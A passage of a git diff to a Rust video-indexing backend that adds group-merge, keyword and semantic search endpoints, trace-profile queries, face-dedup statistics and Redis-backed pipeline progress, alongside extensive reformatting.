name.to_string(), + PoseKeypoint { name: name.to_string(), x, y, confidence: conf, - }); - } - } else { - unique_kps.insert(name.to_string(), PoseKeypoint { - name: name.to_string(), - x, - y, - confidence: conf, - }); + }, + ); } } let coco_names = [ - "nose", "left_eye", "right_eye", "left_ear", "right_ear", - "left_shoulder", "right_shoulder", "left_elbow", "right_elbow", - "left_wrist", "right_wrist", "left_hip", "right_hip", - "left_knee", "right_knee", "left_ankle", "right_ankle", + "nose", + "left_eye", + "right_eye", + "left_ear", + "right_ear", + "left_shoulder", + "right_shoulder", + "left_elbow", + "right_elbow", + "left_wrist", + "right_wrist", + "left_hip", + "right_hip", + "left_knee", + "right_knee", + "left_ankle", + "right_ankle", ]; let keypoints: Vec = coco_names .iter() .map(|name| { - unique_kps.get(*name).cloned().unwrap_or_else(|| PoseKeypoint { - name: name.to_string(), - x: 0.0, - y: 0.0, - confidence: 0.0, - }) + unique_kps + .get(*name) + .cloned() + .unwrap_or_else(|| PoseKeypoint { + name: name.to_string(), + x: 0.0, + y: 0.0, + confidence: 0.0, + }) }) .collect(); @@ -1492,11 +1570,14 @@ async fn get_appearance_handler( use crate::core::config::OUTPUT_DIR; let output_dir = OUTPUT_DIR.as_str(); - let appearance_path = std::path::Path::new(output_dir) - .join(format!("{}.appearance.json", file_uuid)); + let appearance_path = + std::path::Path::new(output_dir).join(format!("{}.appearance.json", file_uuid)); if !appearance_path.exists() { - tracing::error!("[get_appearance] File not found: {}", appearance_path.display()); + tracing::error!( + "[get_appearance] File not found: {}", + appearance_path.display() + ); return Err(StatusCode::NOT_FOUND); } @@ -1510,7 +1591,10 @@ async fn get_appearance_handler( StatusCode::INTERNAL_SERVER_ERROR })?; - let frames = data.get("frames").and_then(|v| v.as_array()).ok_or(StatusCode::NOT_FOUND)?; + let frames = data + .get("frames") + .and_then(|v| v.as_array()) + .ok_or(StatusCode::NOT_FOUND)?; let frame_data = frames .iter() @@ -1523,9 +1607,9 @@ async fn get_appearance_handler( .map(|arr| { arr.iter() .filter_map(|channel| { - channel.as_array().map(|bins| { - bins.iter().filter_map(|v| v.as_f64()).collect() - }) + channel + .as_array() + .map(|bins| bins.iter().filter_map(|v| v.as_f64()).collect()) }) .collect() }) @@ -1541,5 +1625,8 @@ async fn get_appearance_handler( pub fn pose_appearance_routes() -> Router { Router::new() .route("/api/v1/file/:file_uuid/pose", get(get_pose_handler)) - .route("/api/v1/file/:file_uuid/appearance", get(get_appearance_handler)) + .route( + "/api/v1/file/:file_uuid/appearance", + get(get_appearance_handler), + ) } diff --git a/src/api/mod.rs b/src/api/mod.rs index 5b6e94f..4c140b4 100644 --- a/src/api/mod.rs +++ b/src/api/mod.rs @@ -7,7 +7,6 @@ pub mod docs; pub mod files; pub mod health; pub mod identities; -pub mod identity_agent_api; pub mod identity_api; pub mod identity_binding; pub mod llm_search; diff --git a/src/api/profile.rs b/src/api/profile.rs index 7bedbb5..3572240 100644 --- a/src/api/profile.rs +++ b/src/api/profile.rs @@ -1,15 +1,15 @@ use axum::{ - Extension, Json, extract::{Path, Query, State}, http::StatusCode, + Extension, Json, }; use serde::{Deserialize, Serialize}; use sqlx::PgPool; use std::collections::HashMap; -use crate::core::db::schema; use crate::api::middleware::UserAuth; use crate::api::types::AppState; +use crate::core::db::schema; // ─── Trace Profile ─── @@ -49,6 +49,23 @@ pub struct UpdateTraceProfileGroupRequest { pub name: String, } +#[derive(Debug, Deserialize)] +pub struct MergeGroupsRequest { + pub file_uuid: String, + pub source_groups: Vec, + pub target_group_name: String, +} + +#[derive(Debug, Serialize)] +pub struct MergeGroupsResponse { + pub success: bool, + pub file_uuid: String, + pub source_groups: Vec, + pub target_group_name: String, + pub traces_merged: u64, + pub message: String, +} + pub async fn get_trace_profile_handler( State(state): State, Extension(_auth): Extension, @@ -100,19 +117,16 @@ pub async fn update_trace_profile_handler( Extension(_auth): Extension, Json(req): Json, ) -> Result, StatusCode> { - let tkg_table = schema::table_name("tkg_nodes"); - let external_id_face = format!("face_track_{}", req.trace_id); - let external_id_trace = format!("trace_{}", req.trace_id); + let tp_table = schema::table_name("trace_profiles"); + let nodes_table = schema::table_name("tkg_nodes"); - // Get current node (match both external_id formats) - let current: Option<(String, serde_json::Value)> = sqlx::query_as(&format!( - "SELECT label, properties FROM {} \ - WHERE file_uuid = $1 AND node_type = 'face_track' AND (external_id = $2 OR external_id = $3)", - tkg_table + // Get current profile + let current: Option<(Option, serde_json::Value)> = sqlx::query_as(&format!( + "SELECT name, properties FROM {} WHERE file_uuid = $1 AND trace_id = $2", + tp_table )) .bind(&req.file_uuid) - .bind(&external_id_face) - .bind(&external_id_trace) + .bind(req.trace_id) .fetch_optional(state.db.pool()) .await .map_err(|e| { @@ -120,14 +134,16 @@ pub async fn update_trace_profile_handler( StatusCode::INTERNAL_SERVER_ERROR })?; - let (current_label, mut current_props) = current.ok_or(StatusCode::NOT_FOUND)?; + let (current_name, mut current_props) = current.ok_or(StatusCode::NOT_FOUND)?; - // Build updates - let mut updates: Vec = Vec::new(); + // Build updates for trace_profiles + let mut tp_updates: Vec = Vec::new(); + let mut param_idx = 3; if let Some(ref new_name) = req.name { - if new_name != ¤t_label { - updates.push(format!("label = $5")); + if Some(new_name) != current_name.as_ref() { + param_idx += 1; + tp_updates.push(format!("name = ${}", param_idx)); } } @@ -152,8 +168,11 @@ pub async fn update_trace_profile_handler( current_props["aliases"] = aliases.clone(); } - if updates.is_empty() && req.properties.is_none() && req.key_frame.is_none() - && req.key_face.is_none() && req.aliases.is_none() + if tp_updates.is_empty() + && req.properties.is_none() + && req.key_frame.is_none() + && req.key_face.is_none() + && req.aliases.is_none() { return Ok(Json(serde_json::json!({ "success": true, @@ -161,40 +180,28 @@ pub async fn update_trace_profile_handler( }))); } - let mut query = format!( - "UPDATE {} SET properties = properties || $4::jsonb", - tkg_table - ); - if !updates.is_empty() { - query.push_str(", "); - query.push_str(&updates.join(", ")); - } - query.push_str(" WHERE file_uuid = $1 AND node_type = 'face_track' AND (external_id = $2 OR external_id = $3)"); - - query.push_str(" RETURNING id"); - let props_json = serde_json::to_string(¤t_props).unwrap(); - let result = if !updates.is_empty() { - sqlx::query(&query) - .bind(&req.file_uuid) - .bind(&external_id_face) - .bind(&external_id_trace) - .bind(&props_json) - .bind(req.name.as_ref().unwrap_or(¤t_label)) - .execute(state.db.pool()) - .await - } else { - sqlx::query(&query) - .bind(&req.file_uuid) - .bind(&external_id_face) - .bind(&external_id_trace) - .bind(&props_json) - .execute(state.db.pool()) - .await - }; + let mut query = format!( + "UPDATE {} SET properties = $2::jsonb", + tp_table + ); + if !tp_updates.is_empty() { + query.push_str(", "); + query.push_str(&tp_updates.join(", ")); + } + query.push_str(" WHERE file_uuid = $1 AND trace_id = $3"); - match result { + let mut sql_query = sqlx::query(&query) + .bind(&req.file_uuid) + .bind(&props_json) + .bind(req.trace_id); + + if let Some(ref new_name) = req.name { + sql_query = sql_query.bind(new_name); + } + + match sql_query.execute(state.db.pool()).await { Ok(res) if res.rows_affected() > 0 => Ok(Json(serde_json::json!({ "success": true, "message": "Trace profile updated", @@ -214,21 +221,17 @@ pub async fn update_trace_profile_group_handler( Extension(_auth): Extension, Json(req): Json, ) -> Result, StatusCode> { - let tkg_table = schema::table_name("tkg_nodes"); + let tp_table = schema::table_name("trace_profiles"); let mut updated = 0; for trace_id in &req.trace_ids { - let external_id_face = format!("face_track_{}", trace_id); - let external_id_trace = format!("trace_{}", trace_id); let result = sqlx::query(&format!( - "UPDATE {} SET label = $1 \ - WHERE file_uuid = $2 AND node_type = 'face_track' AND (external_id = $3 OR external_id = $4)", - tkg_table + "UPDATE {} SET name = $1 WHERE file_uuid = $2 AND trace_id = $3", + tp_table )) .bind(&req.name) .bind(&req.file_uuid) - .bind(&external_id_face) - .bind(&external_id_trace) + .bind(trace_id) .execute(state.db.pool()) .await; @@ -245,6 +248,78 @@ pub async fn update_trace_profile_group_handler( }))) } +pub async fn merge_groups_handler( + State(state): State, + Extension(_auth): Extension, + Json(req): Json, +) -> Result, (StatusCode, Json)> { + let tkg_table = schema::table_name("tkg_nodes"); + + if req.source_groups.contains(&req.target_group_name) { + return Err(( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({ + "success": false, + "error": "Target group cannot be in source_groups list" + })), + )); + } + + if req.source_groups.is_empty() { + return Err(( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({ + "success": false, + "error": "source_groups cannot be empty" + })), + )); + } + + // Update trace_profiles.name for all matching traces + let tp_table = schema::table_name("trace_profiles"); + let nodes_table = schema::table_name("tkg_nodes"); + + let result = sqlx::query(&format!( + "UPDATE {} tp SET name = $1 \ + WHERE tp.file_uuid = $2 AND tp.trace_id IN (\ + SELECT REPLACE(n.external_id, 'trace_', '')::int \ + FROM {} n WHERE n.file_uuid = $2 AND n.node_type = 'face_track' AND n.label = ANY($3)\ + )", + tp_table, nodes_table + )) + .bind(&req.target_group_name) + .bind(&req.file_uuid) + .bind(&req.source_groups) + .execute(state.db.pool()) + .await; + + match result { + Ok(res) => { + let updated = res.rows_affected(); + let group_count = req.source_groups.len(); + let target_name = req.target_group_name.clone(); + Ok(Json(MergeGroupsResponse { + success: true, + file_uuid: req.file_uuid, + source_groups: req.source_groups, + target_group_name: req.target_group_name, + traces_merged: updated, + message: format!("Merged {} group(s) into '{}'", group_count, target_name), + })) + } + Err(e) => { + tracing::error!("[MergeGroups] DB error: {}", e); + Err(( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({ + "success": false, + "error": e.to_string() + })), + )) + } + } +} + // ─── File Profile ─── #[derive(Deserialize)] @@ -263,6 +338,16 @@ pub struct FileProfile { pub height: i32, pub fps: f64, pub total_frames: i64, + #[serde(skip_serializing_if = "Option::is_none")] + pub birth: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub history: Option>, + #[serde(skip_serializing_if = "Option::is_none")] + pub key_frame: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub proxy_path: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub audio_track: Option, } #[derive(Deserialize)] @@ -296,16 +381,51 @@ pub async fn get_file_profile_handler( let (file_uuid, file_name, file_path, status, duration, width, height, fps, total_frames) = row.ok_or(StatusCode::NOT_FOUND)?; + // Enrich with on-disk profile data (birth, history, key_frame) + let output_dir = crate::core::config::OUTPUT_DIR.as_str(); + let disk_profile = + crate::core::file_profile::FileProfile::load_from_disk(output_dir, &file_uuid); + + // Fallback for zombie files: if DB fields are empty, try to recover from profile + let effective_name = if file_name.is_empty() { + disk_profile + .as_ref() + .map(|p| p.file_name.clone()) + .unwrap_or_default() + } else { + file_name + }; + let effective_path = if file_path.is_empty() { + disk_profile + .as_ref() + .map(|p| p.current.path.clone()) + .unwrap_or_default() + } else { + file_path + }; + Ok(Json(FileProfile { file_uuid, - file_name, - file_path, + file_name: effective_name, + file_path: effective_path, status, duration, width, height, fps, total_frames, + birth: disk_profile + .as_ref() + .and_then(|p| serde_json::to_value(&p.birth).ok()), + history: disk_profile.as_ref().map(|p| { + p.history + .iter() + .map(|h| serde_json::to_value(h).unwrap_or_default()) + .collect() + }), + key_frame: disk_profile.as_ref().and_then(|p| p.key_frame.clone()), + proxy_path: disk_profile.as_ref().and_then(|p| p.proxy_path.clone()), + audio_track: disk_profile.as_ref().and_then(|p| p.audio_track.clone()), })) } @@ -372,11 +492,34 @@ pub async fn update_file_profile_handler( }; match result { - Ok(res) if res.rows_affected() > 0 => Ok(Json(serde_json::json!({ - "success": true, - "message": "File profile updated", - "file_uuid": req.file_uuid - }))), + Ok(res) if res.rows_affected() > 0 => { + // Update on-disk profile if path or name changed + if req.file_path.is_some() || req.file_name.is_some() { + let output_dir = crate::core::config::OUTPUT_DIR.as_str(); + if let Some(mut profile) = crate::core::file_profile::FileProfile::load_from_disk( + output_dir, + &req.file_uuid, + ) { + let new_path = req + .file_path + .clone() + .unwrap_or_else(|| profile.current.path.clone()); + let new_name = req + .file_name + .clone() + .unwrap_or_else(|| profile.current.file_name.clone()); + profile.update_current_path(&new_path, &new_name); + if let Err(e) = profile.save_to_disk(output_dir) { + tracing::warn!("[FileProfile] Failed to update on-disk profile: {}", e); + } + } + } + Ok(Json(serde_json::json!({ + "success": true, + "message": "File profile updated", + "file_uuid": req.file_uuid + }))) + } Ok(_) => Err(StatusCode::NOT_FOUND), Err(e) => { tracing::error!("[FileProfile] Update failed: {}", e); @@ -412,12 +555,16 @@ pub async fn get_face_groups_handler( Path(file_uuid): Path, ) -> Result, StatusCode> { let tkg_table = schema::table_name("tkg_nodes"); + let tp_table = schema::table_name("trace_profiles"); let rows: Vec<(String, serde_json::Value)> = sqlx::query_as(&format!( - "SELECT label, properties FROM {} \ - WHERE file_uuid = $1 AND node_type = 'face_track' \ - ORDER BY (properties->>'trace_id')::int", - tkg_table + "SELECT COALESCE(tp.name, tn.label) as name, tn.properties \ + FROM {} tn \ + LEFT JOIN {} tp ON tp.file_uuid = tn.file_uuid \ + AND tp.trace_id = (tn.properties->>'trace_id')::int \ + WHERE tn.file_uuid = $1 AND tn.node_type = 'face_track' \ + ORDER BY (tn.properties->>'trace_id')::int", + tkg_table, tp_table )) .bind(&file_uuid) .fetch_all(state.db.pool()) @@ -430,16 +577,16 @@ pub async fn get_face_groups_handler( let mut groups: HashMap> = HashMap::new(); let mut unassigned: Vec = Vec::new(); - for (label, properties) in rows { + for (name, properties) in rows { let trace_id = properties .get("trace_id") .and_then(|v| v.as_i64()) .unwrap_or(0); - if label.starts_with("Face Trace ") || label.starts_with("Trace ") { + if name.starts_with("Face Trace ") || name.starts_with("Trace ") { unassigned.push(trace_id); } else { - groups.entry(label).or_default().push(trace_id); + groups.entry(name).or_default().push(trace_id); } } @@ -468,7 +615,7 @@ pub async fn get_face_groups_handler( // ─── Routes ─── pub fn profile_routes() -> axum::Router { - use axum::routing::{get, put}; + use axum::routing::{get, post, put}; axum::Router::new() .route("/api/v1/trace-profile", get(get_trace_profile_handler)) .route("/api/v1/trace-profile", put(update_trace_profile_handler)) @@ -478,5 +625,12 @@ pub fn profile_routes() -> axum::Router { ) .route("/api/v1/file-profile", get(get_file_profile_handler)) .route("/api/v1/file-profile", put(update_file_profile_handler)) - .route("/api/v1/file/:file_uuid/face-groups", get(get_face_groups_handler)) + .route( + "/api/v1/file/:file_uuid/face-groups", + get(get_face_groups_handler), + ) + .route( + "/api/v1/file/:file_uuid/groups/merge", + post(merge_groups_handler), + ) } diff --git a/src/api/scan.rs b/src/api/scan.rs index a23a0dc..0c62fa5 100644 --- a/src/api/scan.rs +++ b/src/api/scan.rs @@ -25,8 +25,8 @@ struct FileStatsResponse { qdrant: QdrantStats, // TKG stats tkg: TkgFileStats, - // Identity Agent stats - identity_agent: IdentityAgentStats, + // Face Dedup stats + face_dedup: FaceDedupStats, } #[derive(Debug, Serialize)] @@ -78,12 +78,10 @@ struct TkgFileStats { } #[derive(Debug, Serialize, Default)] -struct IdentityAgentStats { +struct FaceDedupStats { clusters: i64, - identities_created: i64, - tmdb_matches: i64, - speaker_bindings: i64, - confirmations: i64, + face_tracks: i64, + consistent: bool, } #[derive(Debug, Serialize, Deserialize)] @@ -1030,26 +1028,31 @@ async fn get_file_stats( ..Default::default() }; - // 6. Get Identity Agent stats from Qdrant _seeds - let seeds_filter = json!({ - "must": [ - {"key": "file_uuid", "match": {"value": file_uuid}} - ] - }); - let seed_points = qdrant_db - .scroll_all_points("_seeds", seeds_filter, 500) - .await - .unwrap_or_default(); + // 6. Get Face Dedup stats + let output_dir = crate::core::config::OUTPUT_DIR.as_str(); + let face_cluster_path = format!("{}/{}.face_cluster.json", output_dir, file_uuid); + let face_clusters = if std::path::Path::new(&face_cluster_path).exists() { + if let Ok(content) = std::fs::read_to_string(&face_cluster_path) { + if let Ok(cluster_data) = serde_json::from_str::(&content) { + cluster_data.get("clusters") + .and_then(|c| c.as_array()) + .map(|a| a.len()) + .unwrap_or(0) + } else { + 0 + } + } else { + 0 + } + } else { + 0 + }; + let face_track_count = tkg.face_track_nodes; - let identity_agent = IdentityAgentStats { - clusters: 0, // From face_clustered.json if available - identities_created: face_identities.len() as i64, - tmdb_matches: seed_points - .iter() - .filter(|p| p["payload"]["source"].as_str() == Some("tmdb")) - .count() as i64, - speaker_bindings: speaker_points.len() as i64, - confirmations: 0, // From identity_bindings table + let face_dedup = FaceDedupStats { + clusters: face_clusters as i64, + face_tracks: face_track_count, + consistent: (face_clusters as i64) == face_track_count, }; Ok(Json(FileStatsResponse { @@ -1060,7 +1063,7 @@ async fn get_file_stats( postgres, qdrant: qdrant_stats, tkg, - identity_agent, + face_dedup, })) } @@ -1108,6 +1111,38 @@ async fn get_pipeline_progress_handler( State(state): State, Path(file_uuid): Path, ) -> Result, StatusCode> { + // 1. Try to read existing progress from Redis first + let redis_progress: Option = { + use crate::core::db::RedisClient; + if let Ok(redis) = RedisClient::new() { + if let Ok(mut conn) = redis.get_conn().await { + let key = format!( + "{}progress:{}:pipeline", + crate::core::config::REDIS_KEY_PREFIX.as_str(), + file_uuid + ); + redis::cmd("GET") + .arg(&key) + .query_async(&mut conn) + .await + .ok() + .and_then(|s: String| serde_json::from_str(&s).ok()) + } else { + None + } + } else { + None + } + }; + + // 2. If Redis has complete progress (100%), return it directly + if let Some(ref rp) = redis_progress { + if rp.overall_progress >= 1.0 { + return Ok(Json(rp.clone())); + } + } + + // 3. Otherwise, compute actual progress from DB state let pool = state.db.pool(); let chunk_table = schema::table_name("chunk"); let tkg_nodes_table = schema::table_name("tkg_nodes"); @@ -1207,29 +1242,37 @@ async fn get_pipeline_progress_handler( ); } - // Check identity agent from _seeds - use crate::core::db::qdrant_db::QdrantDb; - use serde_json::json; - let qdrant = QdrantDb::new(); - let schema = std::env::var("DATABASE_SCHEMA").unwrap_or_else(|_| "dev".to_string()); - let seeds_collection = if schema == "public" { - "momentry_public_speaker" - } else { - &format!("momentry_{}_speaker", schema) - }; - let seeds_filter = json!({"must": [{"key": "file_uuid", "match": {"value": &file_uuid}}]}); - let seed_points = qdrant - .scroll_all_points("_seeds", seeds_filter, 100) - .await - .unwrap_or_default(); - if !seed_points.is_empty() { + // Handle music-only files: if processors and rule1 completed, tkg_nodes has nodes but no edges/relationships + // Mark face_dedup, tkg_edges and rule2_ingestion as "completed (no faces)" to reach 100% + if processors_done && tkg_node_count > 0 && tkg_edge_count == 0 { + pp.update_stage("face_dedup", 1.0, "completed", Some("no faces".to_string())); + pp.update_stage("tkg_edges", 1.0, "completed", Some("no faces".to_string())); + pp.update_stage("rule2_ingestion", 1.0, "completed", Some("no faces".to_string())); + } + + // Check face dedup from face_cluster.json + if processors_done && tkg_node_count > 0 { pp.update_stage( - "identity_agent", + "face_dedup", 1.0, "completed", - Some(format!("{} seeds", seed_points.len())), + Some(format!("{} tracks", tkg_node_count)), ); } + // 4. Merge with Redis progress: Redis-completed stages override DB state + if let Some(ref rp) = redis_progress { + for redis_stage in &rp.stages { + if redis_stage.status == "completed" { + pp.update_stage( + &redis_stage.name, + redis_stage.progress, + &redis_stage.status, + redis_stage.detail.clone(), + ); + } + } + } + Ok(Json(pp)) } diff --git a/src/api/search.rs b/src/api/search.rs index eb53484..02bb8be 100644 --- a/src/api/search.rs +++ b/src/api/search.rs @@ -40,6 +40,7 @@ pub struct SearchResult { pub file_name: Option, pub serve_url: Option, pub thumbnail_url: Option, + pub source_type: Option, } #[derive(Debug, Serialize)] @@ -63,6 +64,14 @@ struct MergedResult { source: String, } +fn map_chunk_type_to_source(chunk_type: &str) -> String { + match chunk_type.to_lowercase().as_str() { + "ocr" => "ocr".to_string(), + "sentence" => "asrx".to_string(), + other => other.to_string(), + } +} + /// Enrich a Qdrant search result with full data from PostgreSQL async fn enrich_from_pg( db: &crate::core::db::PostgresDb, @@ -89,6 +98,7 @@ async fn enrich_from_pg( file_name: None, serve_url: None, thumbnail_url: None, + source_type: Some(map_chunk_type_to_source(&p.chunk_type)), }), Ok(None) => None, Err(e) => { @@ -117,6 +127,7 @@ fn pg_result_to_search(p: &SemanticSearchResult) -> SearchResult { file_name: None, serve_url: None, thumbnail_url: None, + source_type: Some(map_chunk_type_to_source(&p.chunk_type)), } } @@ -417,7 +428,7 @@ pub async fn smart_search( let is_keyword_only = mr.keyword_score.is_some() && mr.semantic_score.is_none(); let is_semantic_only = mr.semantic_score.is_some() && mr.keyword_score.is_none(); let skip_text_match = is_keyword_only || is_semantic_only; - + if !skip_text_match { // 關鍵字過濾: CJK 用子字串匹配,英文用單詞邊界匹配 // 使用 text_content 或 summary 進行匹配 @@ -464,23 +475,11 @@ pub async fn smart_search( pg.summary.clone() }; - // Determine source prefix based on content field - let source_prefix = if let Some(ref content) = pg.content { - let text = content.get("text").and_then(|t| t.as_str()).unwrap_or(""); - let ocr_text = content.get("ocr_text").and_then(|t| t.as_str()).unwrap_or(""); - - let has_asrx = !text.trim().is_empty(); - let has_ocr = !ocr_text.trim().is_empty(); - - if has_asrx && has_ocr { - "[ASRX+OCR] " - } else if has_asrx { - "[ASRX] " - } else if has_ocr { - "[OCR] " - } else { - "" - } + let source_type_value = map_chunk_type_to_source(&pg.chunk_type); + let source_prefix = if pg.chunk_type == "ocr" { + "[OCR] " + } else if pg.chunk_type == "sentence" { + "[ASRX] " } else { "" }; @@ -497,7 +496,11 @@ pub async fn smart_search( end_time: pg.end_time, raw_text: None, summary: Some(format!("{}{}", source_prefix, display_text)), - text_content: Some(format!("{}{}", source_prefix, pg.text_content.clone().unwrap_or_default())), + text_content: Some(format!( + "{}{}", + source_prefix, + pg.text_content.clone().unwrap_or_default() + )), metadata: pg.metadata.clone(), similarity: Some(mr.score), file_name: None, @@ -508,6 +511,7 @@ pub async fn smart_search( fu, mr.chunk_id ) }), + source_type: Some(source_type_value), }); } } @@ -569,8 +573,130 @@ pub async fn smart_search( })) } +/// Keyword-only search (BM25, no vector) +pub async fn keyword_search( + State(state): State, + Json(req): Json, +) -> Result, (StatusCode, Json)> { + let db = &state.db; + let page = req.page.unwrap_or(1).max(1); + let page_size = req.page_size.unwrap_or(5).max(1); + let limit = page_size; + + // Keyword search via PG BM25 + let keyword_results = db + .search_bm25(&req.query, req.file_uuid.as_deref(), limit as i64) + .await + .map_err(|e| { + tracing::error!("Keyword search failed: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({ "error": e.to_string() })), + ) + })?; + + tracing::info!( + "Keyword search: {} hits for '{}'", + keyword_results.len(), + req.query + ); + + let mut results = Vec::new(); + for row in keyword_results.iter() { + if let Ok(Some(p)) = db + .get_chunk_by_id_no_embedding(&row.file_uuid, &row.chunk_id) + .await + { + results.push(SearchResult { + id: 0, + file_uuid: p.file_uuid.clone(), + parent_id: p.scene_order, + scene_order: Some(p.scene_order), + start_frame: p.start_frame, + end_frame: p.end_frame, + fps: p.fps, + start_time: p.start_time, + end_time: p.end_time, + raw_text: None, + summary: Some(p.summary.clone()), + text_content: p.text_content.clone(), + metadata: p.metadata.clone(), + similarity: Some(row.bm25_score as f64), + file_name: None, + serve_url: None, + thumbnail_url: None, + source_type: Some(map_chunk_type_to_source(&p.chunk_type)), + }); + } + } + + Ok(Json(SmartSearchResponse { + query: req.query, + results, + page, + page_size, + strategy: "keyword".to_string(), + })) +} + +/// Semantic-only search (vector, no keyword) +pub async fn semantic_search( + State(state): State, + Json(req): Json, +) -> Result, (StatusCode, Json)> { + let db = &state.db; + let qdrant = &state.qdrant; + let page = req.page.unwrap_or(1).max(1); + let page_size = req.page_size.unwrap_or(5).max(1); + let limit = page_size; + + // Generate embedding + let embedder = Embedder::new("embeddinggemma-300m".to_string()); + let embedding = embedder.embed_query(&req.query).await.map_err(|e| { + tracing::error!("Embedding failed: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({ "error": e.to_string() })), + ) + })?; + + // Semantic search via Qdrant + let semantic_results = if let Some(file_uuid) = &req.file_uuid { + qdrant + .search_in_uuid(&embedding, file_uuid, limit) + .await + .unwrap_or_default() + } else { + qdrant.search(&embedding, limit).await.unwrap_or_default() + }; + + tracing::info!( + "Semantic search: {} hits for '{}'", + semantic_results.len(), + req.query + ); + + let mut results = Vec::new(); + for hit in semantic_results.iter() { + if let Some(p) = enrich_from_pg(db, &hit.uuid, &hit.chunk_id, hit.score).await { + results.push(p); + } + } + + Ok(Json(SmartSearchResponse { + query: req.query, + results, + page, + page_size, + strategy: "semantic".to_string(), + })) +} + // --- Router Setup --- pub fn search_routes() -> Router { - Router::new().route("/api/v1/search/smart", post(smart_search)) + Router::new() + .route("/api/v1/search/smart", post(smart_search)) + .route("/api/v1/search/keyword", post(keyword_search)) + .route("/api/v1/search/semantic", post(semantic_search)) } diff --git a/src/api/server.rs b/src/api/server.rs index 5ec0120..4543d4a 100644 --- a/src/api/server.rs +++ b/src/api/server.rs @@ -19,7 +19,6 @@ use super::files; use super::health; use super::health::{health, health_consistency, health_detailed}; use super::identities; -use super::identity_agent_api; use super::identity_api; use super::identity_binding; use super::llm_search; @@ -118,7 +117,6 @@ pub async fn start_server(host: &str, port: u16) -> anyhow::Result<()> { .merge(agent_api::agent_routes()) .merge(agent_search::agent_search_routes()) .merge(processing::processing_routes()) - .merge(identity_agent_api::identity_agent_routes()) .merge(media_api::bbox_routes()) .merge(media_api::media_proxy_routes()) .merge(media_api::pose_appearance_routes()) diff --git a/src/api/trace_agent_api.rs b/src/api/trace_agent_api.rs index 6f9b9c5..4c7252d 100644 --- a/src/api/trace_agent_api.rs +++ b/src/api/trace_agent_api.rs @@ -1706,7 +1706,10 @@ async fn delete_trace( Path((file_uuid, trace_id)): Path<(String, i32)>, Json(req): Json, ) -> Json { - let hard_delete = req.get("hard_delete").and_then(|v| v.as_bool()).unwrap_or(false); + let hard_delete = req + .get("hard_delete") + .and_then(|v| v.as_bool()) + .unwrap_or(false); let qdrant = crate::core::db::qdrant_db::QdrantDb::new(); @@ -1719,9 +1722,17 @@ async fn delete_trace( ] }); - let deleted_count = match qdrant.delete_points_by_filter("_faces", filter.clone()).await { + let deleted_count = match qdrant + .delete_points_by_filter("_faces", filter.clone()) + .await + { Ok(count) => { - tracing::info!("[delete_trace] Hard deleted {} face points from Qdrant for trace {} in {}", count, trace_id, file_uuid); + tracing::info!( + "[delete_trace] Hard deleted {} face points from Qdrant for trace {} in {}", + count, + trace_id, + file_uuid + ); count } Err(e) => { @@ -1776,13 +1787,23 @@ async fn delete_trace( "status": "deleted" }); - let qdrant_updated = match qdrant.update_payload_by_filter("_faces", filter.clone(), payload).await { + let qdrant_updated = match qdrant + .update_payload_by_filter("_faces", filter.clone(), payload) + .await + { Ok(_) => { - tracing::info!("[delete_trace] Soft deleted (marked) trace {} in {}", trace_id, file_uuid); + tracing::info!( + "[delete_trace] Soft deleted (marked) trace {} in {}", + trace_id, + file_uuid + ); true } Err(e) => { - tracing::error!("[delete_trace] Failed to mark Qdrant points as deleted: {}", e); + tracing::error!( + "[delete_trace] Failed to mark Qdrant points as deleted: {}", + e + ); return Json(serde_json::json!({ "success": false, "error": format!("Failed to mark Qdrant points: {}", e) @@ -1848,8 +1869,11 @@ async fn merge_trace( }); // Get count before update - let points_count = qdrant.scroll_all_points("_faces", src_filter.clone(), 1).await - .map(|pts| pts.len()).unwrap_or(0); + let points_count = qdrant + .scroll_all_points("_faces", src_filter.clone(), 1) + .await + .map(|pts| pts.len()) + .unwrap_or(0); // Update all source points to target trace_id let new_payload = serde_json::json!({ @@ -1857,7 +1881,10 @@ async fn merge_trace( "merged_from": trace_id }); - let moved_count = match qdrant.update_payload_by_filter("_faces", src_filter, new_payload).await { + let moved_count = match qdrant + .update_payload_by_filter("_faces", src_filter, new_payload) + .await + { Ok(_) => points_count as u64, Err(e) => { return Json(serde_json::json!({ @@ -1919,8 +1946,11 @@ async fn restore_trace( }); // Get count of points to restore - let points_to_restore = qdrant.scroll_all_points("_faces", filter.clone(), 1).await - .map(|pts| pts.len()).unwrap_or(0); + let points_to_restore = qdrant + .scroll_all_points("_faces", filter.clone(), 1) + .await + .map(|pts| pts.len()) + .unwrap_or(0); if points_to_restore == 0 { return Json(serde_json::json!({ @@ -1934,9 +1964,17 @@ async fn restore_trace( "status": serde_json::Value::Null }); - let qdrant_restored = match qdrant.update_payload_by_filter("_faces", filter, clear_payload).await { + let qdrant_restored = match qdrant + .update_payload_by_filter("_faces", filter, clear_payload) + .await + { Ok(_) => { - tracing::info!("[restore_trace] Restored {} Qdrant points for trace {} in {}", points_to_restore, trace_id, file_uuid); + tracing::info!( + "[restore_trace] Restored {} Qdrant points for trace {} in {}", + points_to_restore, + trace_id, + file_uuid + ); true } Err(e) => { diff --git a/src/api/universal_search.rs b/src/api/universal_search.rs index 63a8674..fa99dc0 100644 --- a/src/api/universal_search.rs +++ b/src/api/universal_search.rs @@ -88,13 +88,15 @@ pub enum SearchResult { #[serde(rename = "person")] Person { file_uuid: Option, - identity_id: i32, - identity_uuid: String, + trace_id: i32, + external_id: String, name: Option, - appearance_count: i32, + frame_count: Option, score: f64, - first_appearance_time: Option, - last_appearance_time: Option, + start_time: Option, + end_time: Option, + key_frame: Option, + key_face: Option, }, } @@ -102,6 +104,7 @@ pub fn universal_search_routes() -> Router { Router::new() .route("/api/v1/search/universal", post(universal_search)) .route("/api/v1/search/frames", post(search_frames)) + .route("/api/v1/search/people", get(search_people)) } /// Unified search across all data types @@ -154,10 +157,10 @@ pub async fn universal_search( results.extend(frame_results); } - // Search persons - if types.contains(&"person".to_string()) { - let person_results = search_persons_internal(&db, &req).await.unwrap_or_default(); - results.extend(person_results); + // Search people + if types.contains(&"people".to_string()) || types.is_empty() { + let people_results = search_persons_internal(&db, &req).await.unwrap_or_default(); + 